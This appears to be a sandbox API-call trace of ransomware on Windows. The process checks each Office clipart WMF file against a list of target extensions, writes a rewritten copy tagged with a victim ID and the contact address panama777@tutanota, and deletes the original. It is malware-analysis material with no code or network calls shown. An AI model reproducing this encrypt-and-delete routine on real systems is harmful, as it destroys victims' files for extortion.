	[0265.093] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0265.114] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=3662) returned 1
	[0265.114] CloseHandle (hObject=0x32c) returned 1
	[0265.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf")) returned 0x20
	[0265.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0265.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0265.178] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.178] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0265.178] GetLastError () returned 0x0
	[0265.178] ReadFile (in: hFile=0x328, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0xe4e, lpOverlapped=0x0) returned 1
	[0265.220] WriteFile (in: hFile=0x354, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xe50, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xe50, lpOverlapped=0x0) returned 1
	[0265.220] ReadFile (in: hFile=0x328, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0265.220] WriteFile (in: hFile=0x354, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0265.220] SetEndOfFile (hFile=0x354) returned 1
	[0265.221] CloseHandle (hObject=0x354) returned 1
	[0265.221] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.221] SetEndOfFile (hFile=0x328) returned 1
	[0265.223] CloseHandle (hObject=0x328) returned 1
	[0265.223] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0265.228] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf")) returned 1
	[0265.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63
	[0265.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63
	[0265.256] lstrlenW (lpString=".doc") returned 4
	[0265.256] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0265.256] lstrlenW (lpString=".docx") returned 5
	[0265.256] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0265.256] lstrlenW (lpString=".pdf") returned 4
	[0265.256] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0265.256] lstrlenW (lpString=".xls") returned 4
	[0265.256] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0265.256] lstrlenW (lpString=".xlsx") returned 5
	[0265.256] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0265.256] lstrlenW (lpString=".ppt") returned 4
	[0265.257] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0265.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63
	[0265.257] lstrlenW (lpString=".zip") returned 4
	[0265.257] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0265.257] lstrlenW (lpString=".rar") returned 4
	[0265.257] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0265.257] lstrlenW (lpString=".bz2") returned 4
	[0265.257] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0265.257] lstrlenW (lpString=".7z") returned 3
	[0265.257] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0265.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63
	[0265.257] lstrlenW (lpString=".dbf") returned 4
	[0265.257] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0265.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63
	[0265.257] lstrlenW (lpString=".1cd") returned 4
	[0265.257] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0265.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63
	[0265.257] lstrlenW (lpString=".jpg") returned 4
	[0265.257] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0265.258] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=5798) returned 1
	[0265.258] CloseHandle (hObject=0x320) returned 1
	[0265.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf")) returned 0x20
	[0265.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0265.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0265.258] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.258] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0265.259] GetLastError () returned 0x0
	[0265.259] ReadFile (in: hFile=0x320, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x16a6, lpOverlapped=0x0) returned 1
	[0265.260] WriteFile (in: hFile=0x2a4, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x16b0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x16b0, lpOverlapped=0x0) returned 1
	[0265.261] ReadFile (in: hFile=0x320, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0265.261] WriteFile (in: hFile=0x2a4, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0265.261] SetEndOfFile (hFile=0x2a4) returned 1
	[0265.261] CloseHandle (hObject=0x2a4) returned 1
	[0265.261] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.261] SetEndOfFile (hFile=0x320) returned 1
	[0265.265] CloseHandle (hObject=0x320) returned 1
	[0265.265] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0265.266] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf")) returned 1
	[0265.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63
	[0265.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63
	[0265.266] lstrlenW (lpString=".doc") returned 4
	[0265.266] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0265.266] lstrlenW (lpString=".docx") returned 5
	[0265.266] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0265.266] lstrlenW (lpString=".pdf") returned 4
	[0265.266] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0265.266] lstrlenW (lpString=".xls") returned 4
	[0265.266] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0265.266] lstrlenW (lpString=".xlsx") returned 5
	[0265.266] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0265.266] lstrlenW (lpString=".ppt") returned 4
	[0265.266] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0265.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63
	[0265.266] lstrlenW (lpString=".zip") returned 4
	[0265.266] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0265.266] lstrlenW (lpString=".rar") returned 4
	[0265.266] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0265.266] lstrlenW (lpString=".bz2") returned 4
	[0265.266] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0265.266] lstrlenW (lpString=".7z") returned 3
	[0265.266] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0265.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63
	[0265.267] lstrlenW (lpString=".dbf") returned 4
	[0265.267] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0265.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63
	[0265.267] lstrlenW (lpString=".1cd") returned 4
	[0265.267] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0265.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63
	[0265.267] lstrlenW (lpString=".jpg") returned 4
	[0265.267] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0265.267] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=3718) returned 1
	[0265.267] CloseHandle (hObject=0x320) returned 1
	[0265.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf")) returned 0x20
	[0265.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0265.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0265.268] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.268] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0265.268] GetLastError () returned 0x0
	[0265.268] ReadFile (in: hFile=0x320, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0xe86, lpOverlapped=0x0) returned 1
	[0265.269] WriteFile (in: hFile=0x2a4, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xe90, lpOverlapped=0x0) returned 1
	[0265.270] ReadFile (in: hFile=0x320, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0265.270] WriteFile (in: hFile=0x2a4, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0265.270] SetEndOfFile (hFile=0x2a4) returned 1
	[0265.270] CloseHandle (hObject=0x2a4) returned 1
	[0265.270] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.270] SetEndOfFile (hFile=0x320) returned 1
	[0265.272] CloseHandle (hObject=0x320) returned 1
	[0265.272] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0265.273] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf")) returned 1
	[0265.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63
	[0265.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63
	[0265.273] lstrlenW (lpString=".doc") returned 4
	[0265.273] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0265.273] lstrlenW (lpString=".docx") returned 5
	[0265.273] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0265.273] lstrlenW (lpString=".pdf") returned 4
	[0265.273] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0265.273] lstrlenW (lpString=".xls") returned 4
	[0265.273] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0265.273] lstrlenW (lpString=".xlsx") returned 5
	[0265.273] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0265.273] lstrlenW (lpString=".ppt") returned 4
	[0265.273] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0265.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63
	[0265.273] lstrlenW (lpString=".zip") returned 4
	[0265.273] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0265.273] lstrlenW (lpString=".rar") returned 4
	[0265.273] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0265.273] lstrlenW (lpString=".bz2") returned 4
	[0265.273] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0265.273] lstrlenW (lpString=".7z") returned 3
	[0265.273] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0265.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63
	[0265.273] lstrlenW (lpString=".dbf") returned 4
	[0265.273] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0265.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63
	[0265.274] lstrlenW (lpString=".1cd") returned 4
	[0265.274] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0265.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63
	[0265.274] lstrlenW (lpString=".jpg") returned 4
	[0265.274] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0265.274] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=1468) returned 1
	[0265.274] CloseHandle (hObject=0x320) returned 1
	[0265.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf")) returned 0x20
	[0265.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0265.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0265.274] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.274] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0265.275] GetLastError () returned 0x0
	[0265.275] ReadFile (in: hFile=0x320, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x5bc, lpOverlapped=0x0) returned 1
	[0265.276] WriteFile (in: hFile=0x2a4, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x5c0, lpOverlapped=0x0) returned 1
	[0265.277] ReadFile (in: hFile=0x320, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0265.277] WriteFile (in: hFile=0x2a4, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0265.277] SetEndOfFile (hFile=0x2a4) returned 1
	[0265.277] CloseHandle (hObject=0x2a4) returned 1
	[0265.277] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.277] SetEndOfFile (hFile=0x320) returned 1
	[0265.279] CloseHandle (hObject=0x320) returned 1
	[0265.431] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0265.472] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf")) returned 1
	[0266.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63
	[0266.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63
	[0266.687] lstrlenW (lpString=".doc") returned 4
	[0266.687] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0266.687] lstrlenW (lpString=".docx") returned 5
	[0266.687] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0266.687] lstrlenW (lpString=".pdf") returned 4
	[0266.687] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0266.687] lstrlenW (lpString=".xls") returned 4
	[0266.687] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0266.687] lstrlenW (lpString=".xlsx") returned 5
	[0266.687] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0266.687] lstrlenW (lpString=".ppt") returned 4
	[0266.687] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0266.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63
	[0266.687] lstrlenW (lpString=".zip") returned 4
	[0266.687] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0266.687] lstrlenW (lpString=".rar") returned 4
	[0266.687] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0266.687] lstrlenW (lpString=".bz2") returned 4
	[0266.687] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0266.687] lstrlenW (lpString=".7z") returned 3
	[0266.687] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0266.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63
	[0266.687] lstrlenW (lpString=".dbf") returned 4
	[0266.688] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0266.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63
	[0266.688] lstrlenW (lpString=".1cd") returned 4
	[0266.688] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0266.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63
	[0266.688] lstrlenW (lpString=".jpg") returned 4
	[0266.688] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0267.637] GetFileSizeEx (in: hFile=0x274, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=9300) returned 1
	[0267.637] CloseHandle (hObject=0x274) returned 1
	[0267.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf")) returned 0x20
	[0267.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0267.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0267.880] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0267.880] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0267.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0267.880] GetLastError () returned 0x0
	[0267.880] ReadFile (in: hFile=0x35c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x2454, lpOverlapped=0x0) returned 1
	[0267.886] WriteFile (in: hFile=0x274, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x2460, lpOverlapped=0x0) returned 1
